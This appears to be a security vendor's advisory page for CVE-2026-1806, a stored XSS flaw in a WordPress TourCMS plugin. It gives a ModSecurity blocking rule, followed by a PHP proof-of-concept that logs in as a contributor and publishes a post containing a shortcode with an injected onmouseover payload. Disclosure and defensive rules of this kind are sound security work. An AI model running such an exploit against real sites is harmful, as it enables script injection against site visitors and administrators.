CVE-2026-1806: Tour & Activity Operator Plugin for TourCMS <= 1.7.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes (tour-operator-plugin)

# Atomic Edge WAF Rule - CVE-2026-1806 (metadata-based)
# This rule blocks exploitation of the stored XSS vulnerability in the TourCMS plugin
# by detecting malicious payloads in the 'target' parameter of posts/pages.
# The rule specifically targets the shortcode attribute injection vector.
SecRule REQUEST_FILENAME "@endsWith /wp-admin/post.php" 
    "id:20261806,phase:2,deny,status:403,chain,msg:'CVE-2026-1806: TourCMS Plugin Stored XSS via tourcms_doc_link shortcode',severity:'CRITICAL',tag:'CVE-2026-1806',tag:'WordPress',tag:'Plugin/Tour-Operator-Plugin',tag:'attack-xss'"
    SecRule REQUEST_METHOD "@streq POST" "chain"
        SecRule ARGS_POST:content "@rx \[tourcms_doc_link[^\]]*target\s*=\s*['"]?[^_\w]" 
            "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,logdata:'Matched %{MATCHED_VAR}'"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1806 - Tour & Activity Operator Plugin for TourCMS <= 1.7.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
/**
 * Proof of Concept for CVE-2026-1806
 * Assumptions based on vulnerability description:
 * 1. The plugin registers a shortcode 'tourcms_doc_link'
 * 2. The shortcode accepts a 'target' parameter
 * 3. Contributor+ users can publish posts with this shortcode
 * 4. No source code available - this PoC simulates the attack vector
 */

$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Payload to inject into the shortcode's target parameter
// This executes when the page loads via the onmouseover event
$malicious_target = '" onmouseover="alert(document.domain)"';

// Construct the shortcode with malicious payload
$shortcode_payload = '[tourcms_doc_link target=' . $malicious_target . ']';

// WordPress authentication and post creation
$ch = curl_init();

// Step 1: Get login nonce and cookies
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);

$response = curl_exec($ch);

// Step 2: Authenticate
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_fields)
]);

$response = curl_exec($ch);

// Step 3: Create a new post with the malicious shortcode
// Get nonce for new post (simplified - real implementation would parse admin page)
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/post-new.php',
    CURLOPT_POST => false
]);

$response = curl_exec($ch);

// Step 4: Submit the post with the malicious shortcode
$post_data = [
    'post_title' => 'TourCMS XSS Test - ' . date('Y-m-d H:i:s'),
    'content' => 'This post contains a malicious TourCMS shortcode:nn' . $shortcode_payload . 'nnView the page to trigger the XSS.',
    'publish' => 'Publish',
    'post_type' => 'post',
    '_wpnonce' => '{{nonce_would_be_extracted_here}}', // Placeholder for actual nonce
    '_wp_http_referer' => '/wp-admin/post-new.php'
];

curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/post.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data)
]);

$response = curl_exec($ch);

// Check if post was created successfully
if (strpos($response, 'Post published.') !== false || strpos($response, 'Post updated.') !== false) {
    echo "[+] Exploit successful. Malicious shortcode injected.n";
    echo "[+] Visit the published post to trigger the XSS payload.n";
} else {
    echo "[-] Exploit may have failed. Check authentication and permissions.n";
}

curl_close($ch);
?>